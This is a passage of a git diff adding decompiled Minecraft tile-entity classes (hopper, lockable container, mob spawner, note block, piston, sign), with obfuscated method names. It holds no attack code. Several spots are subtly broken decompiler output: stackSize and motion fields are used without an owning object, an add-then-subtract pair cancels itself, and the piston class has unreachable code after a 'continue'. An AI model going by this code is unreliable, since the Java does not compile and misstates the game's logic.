+    }
+  }
+  
+  public boolean func_145887_i()
+  {
+    if ((worldObj != null) && (!worldObj.isRemote))
+    {
+      if ((!isOnTransferCooldown()) && (BlockHopper.getActiveStateFromMetadata(getBlockMetadata())))
+      {
+        boolean var1 = false;
+        
+        if (!func_152104_k())
+        {
+          var1 = func_145883_k();
+        }
+        
+        if (!func_152105_l())
+        {
+          var1 = (func_145891_a(this)) || (var1);
+        }
+        
+        if (var1)
+        {
+          setTransferCooldown(8);
+          markDirty();
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+    return false;
+  }
+  
+
+  private boolean func_152104_k()
+  {
+    ItemStack[] var1 = inventory;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      ItemStack var4 = var1[var3];
+      
+      if (var4 != null)
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private boolean func_152105_l()
+  {
+    ItemStack[] var1 = inventory;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      ItemStack var4 = var1[var3];
+      
+      if ((var4 == null) || (stackSize != var4.getMaxStackSize()))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private boolean func_145883_k()
+  {
+    IInventory var1 = func_145895_l();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    EnumFacing var2 = BlockHopper.func_176428_b(getBlockMetadata()).getOpposite();
+    
+    if (func_174919_a(var1, var2))
+    {
+      return false;
+    }
+    
+
+    for (int var3 = 0; var3 < getSizeInventory(); var3++)
+    {
+      if (getStackInSlot(var3) != null)
+      {
+        ItemStack var4 = getStackInSlot(var3).copy();
+        ItemStack var5 = func_174918_a(var1, decrStackSize(var3, 1), var2);
+        
+        if ((var5 == null) || (stackSize == 0))
+        {
+          var1.markDirty();
+          return true;
+        }
+        
+        setInventorySlotContents(var3, var4);
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+  private boolean func_174919_a(IInventory p_174919_1_, EnumFacing p_174919_2_)
+  {
+    if ((p_174919_1_ instanceof ISidedInventory))
+    {
+      ISidedInventory var3 = (ISidedInventory)p_174919_1_;
+      int[] var4 = var3.getSlotsForFace(p_174919_2_);
+      
+      for (int var5 = 0; var5 < var4.length; var5++)
+      {
+        ItemStack var6 = var3.getStackInSlot(var4[var5]);
+        
+        if ((var6 == null) || (stackSize != var6.getMaxStackSize()))
+        {
+          return false;
+        }
+      }
+    }
+    else
+    {
+      int var7 = p_174919_1_.getSizeInventory();
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        ItemStack var9 = p_174919_1_.getStackInSlot(var8);
+        
+        if ((var9 == null) || (stackSize != var9.getMaxStackSize()))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+  private static boolean func_174917_b(IInventory p_174917_0_, EnumFacing p_174917_1_)
+  {
+    if ((p_174917_0_ instanceof ISidedInventory))
+    {
+      ISidedInventory var2 = (ISidedInventory)p_174917_0_;
+      int[] var3 = var2.getSlotsForFace(p_174917_1_);
+      
+      for (int var4 = 0; var4 < var3.length; var4++)
+      {
+        if (var2.getStackInSlot(var3[var4]) != null)
+        {
+          return false;
+        }
+      }
+    }
+    else
+    {
+      int var5 = p_174917_0_.getSizeInventory();
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        if (p_174917_0_.getStackInSlot(var6) != null)
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+  public static boolean func_145891_a(IHopper p_145891_0_)
+  {
+    IInventory var1 = func_145884_b(p_145891_0_);
+    
+    if (var1 != null)
+    {
+      EnumFacing var2 = EnumFacing.DOWN;
+      
+      if (func_174917_b(var1, var2))
+      {
+        return false;
+      }
+      
+      if ((var1 instanceof ISidedInventory))
+      {
+        ISidedInventory var3 = (ISidedInventory)var1;
+        int[] var4 = var3.getSlotsForFace(var2);
+        
+        for (int var5 = 0; var5 < var4.length; var5++)
+        {
+          if (func_174915_a(p_145891_0_, var1, var4[var5], var2))
+          {
+            return true;
+          }
+        }
+      }
+      else
+      {
+        int var7 = var1.getSizeInventory();
+        
+        for (int var8 = 0; var8 < var7; var8++)
+        {
+          if (func_174915_a(p_145891_0_, var1, var8, var2))
+          {
+            return true;
+          }
+        }
+      }
+    }
+    else
+    {
+      EntityItem var6 = func_145897_a(p_145891_0_.getWorld(), p_145891_0_.getXPos(), p_145891_0_.getYPos() + 1.0D, p_145891_0_.getZPos());
+      
+      if (var6 != null)
+      {
+        return func_145898_a(p_145891_0_, var6);
+      }
+    }
+    
+    return false;
+  }
+  
+  private static boolean func_174915_a(IHopper p_174915_0_, IInventory p_174915_1_, int p_174915_2_, EnumFacing p_174915_3_)
+  {
+    ItemStack var4 = p_174915_1_.getStackInSlot(p_174915_2_);
+    
+    if ((var4 != null) && (func_174921_b(p_174915_1_, var4, p_174915_2_, p_174915_3_)))
+    {
+      ItemStack var5 = var4.copy();
+      ItemStack var6 = func_174918_a(p_174915_0_, p_174915_1_.decrStackSize(p_174915_2_, 1), null);
+      
+      if ((var6 == null) || (stackSize == 0))
+      {
+        p_174915_1_.markDirty();
+        return true;
+      }
+      
+      p_174915_1_.setInventorySlotContents(p_174915_2_, var5);
+    }
+    
+    return false;
+  }
+  
+  public static boolean func_145898_a(IInventory p_145898_0_, EntityItem p_145898_1_)
+  {
+    boolean var2 = false;
+    
+    if (p_145898_1_ == null)
+    {
+      return false;
+    }
+    
+
+    ItemStack var3 = p_145898_1_.getEntityItem().copy();
+    ItemStack var4 = func_174918_a(p_145898_0_, var3, null);
+    
+    if ((var4 != null) && (stackSize != 0))
+    {
+      p_145898_1_.setEntityItemStack(var4);
+    }
+    else
+    {
+      var2 = true;
+      p_145898_1_.setDead();
+    }
+    
+    return var2;
+  }
+  
+
+  public static ItemStack func_174918_a(IInventory p_174918_0_, ItemStack p_174918_1_, EnumFacing p_174918_2_)
+  {
+    if (((p_174918_0_ instanceof ISidedInventory)) && (p_174918_2_ != null))
+    {
+      ISidedInventory var6 = (ISidedInventory)p_174918_0_;
+      int[] var7 = var6.getSlotsForFace(p_174918_2_);
+      
+      int var5 = 0;
+      do {
+        p_174918_1_ = func_174916_c(p_174918_0_, p_174918_1_, var7[var5], p_174918_2_);var5++;
+        if ((var5 >= var7.length) || (p_174918_1_ == null)) break; } while (stackSize > 0);
+
+
+    }
+    else
+    {
+
+      int var3 = p_174918_0_.getSizeInventory();
+      
+      for (int var4 = 0; (var4 < var3) && (p_174918_1_ != null) && (stackSize > 0); var4++)
+      {
+        p_174918_1_ = func_174916_c(p_174918_0_, p_174918_1_, var4, p_174918_2_);
+      }
+    }
+    
+    if ((p_174918_1_ != null) && (stackSize == 0))
+    {
+      p_174918_1_ = null;
+    }
+    
+    return p_174918_1_;
+  }
+  
+  private static boolean func_174920_a(IInventory p_174920_0_, ItemStack p_174920_1_, int p_174920_2_, EnumFacing p_174920_3_)
+  {
+    return p_174920_0_.isItemValidForSlot(p_174920_2_, p_174920_1_);
+  }
+  
+  private static boolean func_174921_b(IInventory p_174921_0_, ItemStack p_174921_1_, int p_174921_2_, EnumFacing p_174921_3_)
+  {
+    return (!(p_174921_0_ instanceof ISidedInventory)) || (((ISidedInventory)p_174921_0_).canExtractItem(p_174921_2_, p_174921_1_, p_174921_3_));
+  }
+  
+  private static ItemStack func_174916_c(IInventory p_174916_0_, ItemStack p_174916_1_, int p_174916_2_, EnumFacing p_174916_3_)
+  {
+    ItemStack var4 = p_174916_0_.getStackInSlot(p_174916_2_);
+    
+    if (func_174920_a(p_174916_0_, p_174916_1_, p_174916_2_, p_174916_3_))
+    {
+      boolean var5 = false;
+      
+      if (var4 == null)
+      {
+        p_174916_0_.setInventorySlotContents(p_174916_2_, p_174916_1_);
+        p_174916_1_ = null;
+        var5 = true;
+      }
+      else if (canCombine(var4, p_174916_1_))
+      {
+        int var6 = p_174916_1_.getMaxStackSize() - stackSize;
+        int var7 = Math.min(stackSize, var6);
+        stackSize -= var7;
+        stackSize += var7;
+        var5 = var7 > 0;
+      }
+      
+      if (var5)
+      {
+        if ((p_174916_0_ instanceof TileEntityHopper))
+        {
+          TileEntityHopper var8 = (TileEntityHopper)p_174916_0_;
+          
+          if (var8.mayTransfer())
+          {
+            var8.setTransferCooldown(8);
+          }
+          
+          p_174916_0_.markDirty();
+        }
+        
+        p_174916_0_.markDirty();
+      }
+    }
+    
+    return p_174916_1_;
+  }
+  
+  private IInventory func_145895_l()
+  {
+    EnumFacing var1 = BlockHopper.func_176428_b(getBlockMetadata());
+    return func_145893_b(getWorld(), pos.getX() + var1.getFrontOffsetX(), pos.getY() + var1.getFrontOffsetY(), pos.getZ() + var1.getFrontOffsetZ());
+  }
+  
+  public static IInventory func_145884_b(IHopper p_145884_0_)
+  {
+    return func_145893_b(p_145884_0_.getWorld(), p_145884_0_.getXPos(), p_145884_0_.getYPos() + 1.0D, p_145884_0_.getZPos());
+  }
+  
+  public static EntityItem func_145897_a(World worldIn, double p_145897_1_, double p_145897_3_, double p_145897_5_)
+  {
+    List var7 = worldIn.func_175647_a(EntityItem.class, new AxisAlignedBB(p_145897_1_, p_145897_3_, p_145897_5_, p_145897_1_ + 1.0D, p_145897_3_ + 1.0D, p_145897_5_ + 1.0D), IEntitySelector.selectAnything);
+    return var7.size() > 0 ? (EntityItem)var7.get(0) : null;
+  }
+  
+  public static IInventory func_145893_b(World worldIn, double p_145893_1_, double p_145893_3_, double p_145893_5_)
+  {
+    Object var7 = null;
+    int var8 = MathHelper.floor_double(p_145893_1_);
+    int var9 = MathHelper.floor_double(p_145893_3_);
+    int var10 = MathHelper.floor_double(p_145893_5_);
+    BlockPos var11 = new BlockPos(var8, var9, var10);
+    TileEntity var12 = worldIn.getTileEntity(new BlockPos(var8, var9, var10));
+    
+    if ((var12 instanceof IInventory))
+    {
+      var7 = (IInventory)var12;
+      
+      if ((var7 instanceof TileEntityChest))
+      {
+        Block var13 = worldIn.getBlockState(new BlockPos(var8, var9, var10)).getBlock();
+        
+        if ((var13 instanceof BlockChest))
+        {
+          var7 = ((BlockChest)var13).getLockableContainer(worldIn, var11);
+        }
+      }
+    }
+    
+    if (var7 == null)
+    {
+      List var14 = worldIn.func_175674_a(null, new AxisAlignedBB(p_145893_1_, p_145893_3_, p_145893_5_, p_145893_1_ + 1.0D, p_145893_3_ + 1.0D, p_145893_5_ + 1.0D), IEntitySelector.selectInventories);
+      
+      if (var14.size() > 0)
+      {
+        var7 = (IInventory)var14.get(rand.nextInt(var14.size()));
+      }
+    }
+    
+    return (IInventory)var7;
+  }
+  
+  private static boolean canCombine(ItemStack stack1, ItemStack stack2)
+  {
+    return stackSize > stack1.getMaxStackSize() ? false : stack1.getMetadata() != stack2.getMetadata() ? false : stack1.getItem() != stack2.getItem() ? false : ItemStack.areItemStackTagsEqual(stack1, stack2);
+  }
+  
+
+
+
+  public double getXPos()
+  {
+    return pos.getX();
+  }
+  
+
+
+
+  public double getYPos()
+  {
+    return pos.getY();
+  }
+  
+
+
+
+  public double getZPos()
+  {
+    return pos.getZ();
+  }
+  
+  public void setTransferCooldown(int ticks)
+  {
+    transferCooldown = ticks;
+  }
+  
+  public boolean isOnTransferCooldown()
+  {
+    return transferCooldown > 0;
+  }
+  
+  public boolean mayTransfer()
+  {
+    return transferCooldown <= 1;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:hopper";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new net.minecraft.inventory.ContainerHopper(playerInventory, this, playerIn);
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < inventory.length; var1++)
+    {
+      inventory[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityLockable.java b/src/minecraft/net/minecraft/tileentity/TileEntityLockable.java
new file mode 100644
index 0000000..645d22b
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityLockable.java
@@ -0,0 +1,56 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.LockCode;
+
+public abstract class TileEntityLockable extends TileEntity implements IInteractionObject, ILockableContainer
+{
+  private LockCode code;
+  private static final String __OBFID = "CL_00002040";
+  
+  public TileEntityLockable()
+  {
+    code = LockCode.EMPTY_CODE;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    code = LockCode.fromNBT(compound);
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    
+    if (code != null)
+    {
+      code.toNBT(compound);
+    }
+  }
+  
+  public boolean isLocked()
+  {
+    return (code != null) && (!code.isEmpty());
+  }
+  
+  public LockCode getLockCode()
+  {
+    return code;
+  }
+  
+  public void setLockCode(LockCode code)
+  {
+    this.code = code;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityMobSpawner.java b/src/minecraft/net/minecraft/tileentity/TileEntityMobSpawner.java
new file mode 100644
index 0000000..3374c9d
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityMobSpawner.java
@@ -0,0 +1,80 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class TileEntityMobSpawner extends TileEntity implements IUpdatePlayerListBox
+{
+  private final MobSpawnerBaseLogic field_145882_a = new MobSpawnerBaseLogic()
+  {
+    private static final String __OBFID = "CL_00000361";
+    
+    public void func_98267_a(int p_98267_1_) {
+      worldObj.addBlockEvent(pos, Blocks.mob_spawner, p_98267_1_, 0);
+    }
+    
+    public World getSpawnerWorld() {
+      return worldObj;
+    }
+    
+    public BlockPos func_177221_b() {
+      return pos;
+    }
+    
+    public void setRandomEntity(MobSpawnerBaseLogic.WeightedRandomMinecart p_98277_1_) {
+      super.setRandomEntity(p_98277_1_);
+      
+      if (getSpawnerWorld() != null)
+      {
+        getSpawnerWorld().markBlockForUpdate(pos); }
+    }
+  };
+  private static final String __OBFID = "CL_00000360";
+  
+  public TileEntityMobSpawner() {}
+  
+  public void readFromNBT(NBTTagCompound compound) {
+    super.readFromNBT(compound);
+    field_145882_a.readFromNBT(compound);
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    field_145882_a.writeToNBT(compound);
+  }
+  
+
+
+
+  public void update()
+  {
+    field_145882_a.updateSpawner();
+  }
+  
+
+
+
+  public Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    var1.removeTag("SpawnPotentials");
+    return new S35PacketUpdateTileEntity(pos, 1, var1);
+  }
+  
+  public boolean receiveClientEvent(int id, int type)
+  {
+    return field_145882_a.setDelayToMin(id) ? true : super.receiveClientEvent(id, type);
+  }
+  
+  public MobSpawnerBaseLogic getSpawnerBaseLogic()
+  {
+    return field_145882_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityNote.java b/src/minecraft/net/minecraft/tileentity/TileEntityNote.java
new file mode 100644
index 0000000..67b610f
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityNote.java
@@ -0,0 +1,71 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class TileEntityNote extends TileEntity
+{
+  public byte note;
+  public boolean previousRedstoneState;
+  private static final String __OBFID = "CL_00000362";
+  
+  public TileEntityNote() {}
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setByte("note", note);
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    note = compound.getByte("note");
+    note = ((byte)MathHelper.clamp_int(note, 0, 24));
+  }
+  
+
+
+
+  public void changePitch()
+  {
+    note = ((byte)((note + 1) % 25));
+    markDirty();
+  }
+  
+  public void func_175108_a(World worldIn, BlockPos p_175108_2_)
+  {
+    if (worldIn.getBlockState(p_175108_2_.offsetUp()).getBlock().getMaterial() == Material.air)
+    {
+      Material var3 = worldIn.getBlockState(p_175108_2_.offsetDown()).getBlock().getMaterial();
+      byte var4 = 0;
+      
+      if (var3 == Material.rock)
+      {
+        var4 = 1;
+      }
+      
+      if (var3 == Material.sand)
+      {
+        var4 = 2;
+      }
+      
+      if (var3 == Material.glass)
+      {
+        var4 = 3;
+      }
+      
+      if (var3 == Material.wood)
+      {
+        var4 = 4;
+      }
+      
+      worldIn.addBlockEvent(p_175108_2_, net.minecraft.init.Blocks.noteblock, var4, note);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityPiston.java b/src/minecraft/net/minecraft/tileentity/TileEntityPiston.java
new file mode 100644
index 0000000..19491b6
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityPiston.java
@@ -0,0 +1,253 @@
+package net.minecraft.tileentity;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPistonMoving;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.world.World;
+
+public class TileEntityPiston
+  extends TileEntity implements IUpdatePlayerListBox
+{
+  private IBlockState field_174932_a;
+  private EnumFacing field_174931_f;
+  private boolean extending;
+  private boolean shouldHeadBeRendered;
+  private float progress;
+  private float lastProgress;
+  private List field_174933_k = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000369";
+  
+  public TileEntityPiston() {}
+  
+  public TileEntityPiston(IBlockState p_i45665_1_, EnumFacing p_i45665_2_, boolean p_i45665_3_, boolean p_i45665_4_)
+  {
+    field_174932_a = p_i45665_1_;
+    field_174931_f = p_i45665_2_;
+    extending = p_i45665_3_;
+    shouldHeadBeRendered = p_i45665_4_;
+  }
+  
+  public IBlockState func_174927_b()
+  {
+    return field_174932_a;
+  }
+  
+  public int getBlockMetadata()
+  {
+    return 0;
+  }
+  
+
+
+
+  public boolean isExtending()
+  {
+    return extending;
+  }
+  
+  public EnumFacing func_174930_e()
+  {
+    return field_174931_f;
+  }
+  
+  public boolean shouldPistonHeadBeRendered()
+  {
+    return shouldHeadBeRendered;
+  }
+  
+  public float func_145860_a(float p_145860_1_)
+  {
+    if (p_145860_1_ > 1.0F)
+    {
+      p_145860_1_ = 1.0F;
+    }
+    
+    return lastProgress + (progress - lastProgress) * p_145860_1_;
+  }
+  
+  public float func_174929_b(float p_174929_1_)
+  {
+    return extending ? (func_145860_a(p_174929_1_) - 1.0F) * field_174931_f.getFrontOffsetX() : (1.0F - func_145860_a(p_174929_1_)) * field_174931_f.getFrontOffsetX();
+  }
+  
+  public float func_174928_c(float p_174928_1_)
+  {
+    return extending ? (func_145860_a(p_174928_1_) - 1.0F) * field_174931_f.getFrontOffsetY() : (1.0F - func_145860_a(p_174928_1_)) * field_174931_f.getFrontOffsetY();
+  }
+  
+  public float func_174926_d(float p_174926_1_)
+  {
+    return extending ? (func_145860_a(p_174926_1_) - 1.0F) * field_174931_f.getFrontOffsetZ() : (1.0F - func_145860_a(p_174926_1_)) * field_174931_f.getFrontOffsetZ();
+  }
+  
+  private void func_145863_a(float p_145863_1_, float p_145863_2_)
+  {
+    if (extending)
+    {
+      p_145863_1_ = 1.0F - p_145863_1_;
+    }
+    else
+    {
+      p_145863_1_ -= 1.0F;
+    }
+    
+    AxisAlignedBB var3 = Blocks.piston_extension.func_176424_a(worldObj, pos, field_174932_a, p_145863_1_, field_174931_f);
+    
+    if (var3 != null)
+    {
+      List var4 = worldObj.getEntitiesWithinAABBExcludingEntity(null, var3);
+      
+      if (!var4.isEmpty())
+      {
+        field_174933_k.addAll(var4);
+        Iterator var5 = field_174933_k.iterator();
+        
+        while (var5.hasNext())
+        {
+          Entity var6 = (Entity)var5.next();
+          
+          if ((field_174932_a.getBlock() == Blocks.slime_block) && (extending)) {}
+          
+          switch (SwitchAxis.field_177248_a[field_174931_f.getAxis().ordinal()])
+          {
+          case 1: 
+            motionX = field_174931_f.getFrontOffsetX();
+            break;
+          
+          case 2: 
+            motionY = field_174931_f.getFrontOffsetY();
+            break;
+          
+          case 3: 
+            motionZ = field_174931_f.getFrontOffsetZ();
+          
+
+
+          default: 
+            continue;var6.moveEntity(p_145863_2_ * field_174931_f.getFrontOffsetX(), p_145863_2_ * field_174931_f.getFrontOffsetY(), p_145863_2_ * field_174931_f.getFrontOffsetZ());
+          }
+          
+        }
+        field_174933_k.clear();
+      }
+    }
+  }
+  
+
+
+
+  public void clearPistonTileEntity()
+  {
+    if ((lastProgress < 1.0F) && (worldObj != null))
+    {
+      lastProgress = (this.progress = 1.0F);
+      worldObj.removeTileEntity(pos);
+      invalidate();
+      
+      if (worldObj.getBlockState(pos).getBlock() == Blocks.piston_extension)
+      {
+        worldObj.setBlockState(pos, field_174932_a, 3);
+        worldObj.notifyBlockOfStateChange(pos, field_174932_a.getBlock());
+      }
+    }
+  }
+  
+
+
+
+  public void update()
+  {
+    lastProgress = progress;
+    
+    if (lastProgress >= 1.0F)
+    {
+      func_145863_a(1.0F, 0.25F);
+      worldObj.removeTileEntity(pos);
+      invalidate();
+      
+      if (worldObj.getBlockState(pos).getBlock() == Blocks.piston_extension)
+      {
+        worldObj.setBlockState(pos, field_174932_a, 3);
+        worldObj.notifyBlockOfStateChange(pos, field_174932_a.getBlock());
+      }
+    }
+    else
+    {
+      progress += 0.5F;
+      
+      if (progress >= 1.0F)
+      {
+        progress = 1.0F;
+      }
+      
+      if (extending)
+      {
+        func_145863_a(progress, progress - lastProgress + 0.0625F);
+      }
+    }
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    field_174932_a = Block.getBlockById(compound.getInteger("blockId")).getStateFromMeta(compound.getInteger("blockData"));
+    field_174931_f = EnumFacing.getFront(compound.getInteger("facing"));
+    lastProgress = (this.progress = compound.getFloat("progress"));
+    extending = compound.getBoolean("extending");
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setInteger("blockId", Block.getIdFromBlock(field_174932_a.getBlock()));
+    compound.setInteger("blockData", field_174932_a.getBlock().getMetaFromState(field_174932_a));
+    compound.setInteger("facing", field_174931_f.getIndex());
+    compound.setFloat("progress", lastProgress);
+    compound.setBoolean("extending", extending);
+  }
+  
+  static final class SwitchAxis
+  {
+    static final int[] field_177248_a = new int[EnumFacing.Axis.values().length];
+    private static final String __OBFID = "CL_00002034";
+    
+    static
+    {
+      try
+      {
+        field_177248_a[EnumFacing.Axis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177248_a[EnumFacing.Axis.Y.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177248_a[EnumFacing.Axis.Z.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchAxis() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntitySign.java b/src/minecraft/net/minecraft/tileentity/TileEntitySign.java
new file mode 100644
index 0000000..b40a021
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntitySign.java
@@ -0,0 +1,238 @@
+package net.minecraft.tileentity;
+
+import com.google.gson.JsonParseException;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.event.ClickEvent;
+import net.minecraft.event.ClickEvent.Action;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class TileEntitySign extends TileEntity
+{
+  public final IChatComponent[] signText = { new ChatComponentText(""), new ChatComponentText(""), new ChatComponentText(""), new ChatComponentText("") };
+  
+
+
+
+
+  public int lineBeingEdited = -1;
+  private boolean isEditable = true;
+  private EntityPlayer field_145917_k;
+  private final CommandResultStats field_174883_i = new CommandResultStats();
+  private static final String __OBFID = "CL_00000363";
+  
+  public TileEntitySign() {}
+  
+  public void writeToNBT(NBTTagCompound compound) { super.writeToNBT(compound);
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      String var3 = IChatComponent.Serializer.componentToJson(signText[var2]);
+      compound.setString("Text" + (var2 + 1), var3);
+    }
+    
+    field_174883_i.func_179670_b(compound);
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    isEditable = false;
+    super.readFromNBT(compound);
+    ICommandSender var2 = new ICommandSender()
+    {
+      private static final String __OBFID = "CL_00002039";
+      
+      public String getName() {
+        return "Sign";
+      }
+      
+      public IChatComponent getDisplayName() {
+        return new ChatComponentText(getName());
+      }
+      
+      public void addChatMessage(IChatComponent message) {}
+      
+      public boolean canCommandSenderUseCommand(int permissionLevel, String command) { return true; }
+      
+      public BlockPos getPosition()
+      {
+        return pos;
+      }
+      
+      public Vec3 getPositionVector() {
+        return new Vec3(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D);
+      }
+      
+      public World getEntityWorld() {
+        return worldObj;
+      }
+      
+      public Entity getCommandSenderEntity() {
+        return null;
+      }
+      
+      public boolean sendCommandFeedback() {
+        return false;
+      }
+      
+      public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_) {}
+    };
+    for (int var3 = 0; var3 < 4;)
+    {
+      String var4 = compound.getString("Text" + (var3 + 1));
+      
+      try
+      {
+        IChatComponent var5 = IChatComponent.Serializer.jsonToComponent(var4);
+        
+        try
+        {
+          signText[var3] = net.minecraft.util.ChatComponentProcessor.func_179985_a(var2, var5, null);
+        }
+        catch (CommandException var7)
+        {
+          signText[var3] = var5;
+        }
+        var3++;
+
+
+
+
+
+
+
+
+      }
+      catch (JsonParseException var8)
+      {
+
+
+
+
+
+
+
+        signText[var3] = new ChatComponentText(var4);
+      }
+    }
+    
+    field_174883_i.func_179668_a(compound);
+  }
+  
+
+
+
+  public net.minecraft.network.Packet getDescriptionPacket()
+  {
+    IChatComponent[] var1 = new IChatComponent[4];
+    System.arraycopy(signText, 0, var1, 0, 4);
+    return new net.minecraft.network.play.server.S33PacketUpdateSign(worldObj, pos, var1);
+  }
+  
+  public boolean getIsEditable()
+  {
+    return isEditable;
+  }
+  
+
+
+
+  public void setEditable(boolean p_145913_1_)
+  {
+    isEditable = p_145913_1_;
+    
+    if (!p_145913_1_)
+    {
+      field_145917_k = null;
+    }
+  }
+  
+  public void func_145912_a(EntityPlayer p_145912_1_)
+  {
+    field_145917_k = p_145912_1_;
+  }
+  
+  public EntityPlayer func_145911_b()
+  {
+    return field_145917_k;
+  }
+  
+  public boolean func_174882_b(final EntityPlayer p_174882_1_)
+  {
+    ICommandSender var2 = new ICommandSender()
+    {
+      private static final String __OBFID = "CL_00002038";
+      
+      public String getName() {
+        return p_174882_1_.getName();
+      }
+      
+      public IChatComponent getDisplayName() {
+        return p_174882_1_.getDisplayName();
+      }
+      
+      public void addChatMessage(IChatComponent message) {}
+      
+      public boolean canCommandSenderUseCommand(int permissionLevel, String command) { return true; }
+      
+      public BlockPos getPosition()
+      {
+        return pos;
+      }
+      
+      public Vec3 getPositionVector() {
+        return new Vec3(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D);
+      }
+      
+      public World getEntityWorld() {
+        return p_174882_1_.getEntityWorld();
+      }
+      
+      public Entity getCommandSenderEntity() {
+        return p_174882_1_;
+      }
+      
+      public boolean sendCommandFeedback() {
+        return false;
+      }
+      
+      public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_) {
+        field_174883_i.func_179672_a(this, p_174794_1_, p_174794_2_);
+      }
+    };
+    
+    for (int var3 = 0; var3 < signText.length; var3++)
+    {
+      ChatStyle var4 = signText[var3] == null ? null : signText[var3].getChatStyle();
+      
+      if ((var4 != null) && (var4.getChatClickEvent() != null))
+      {
+        ClickEvent var5 = var4.getChatClickEvent();
+        
+        if (var5.getAction() == ClickEvent.Action.RUN_COMMAND)
+        {
+          MinecraftServer.getServer().getCommandManager().executeCommand(var2, var5.getValue());
+        }
+      }
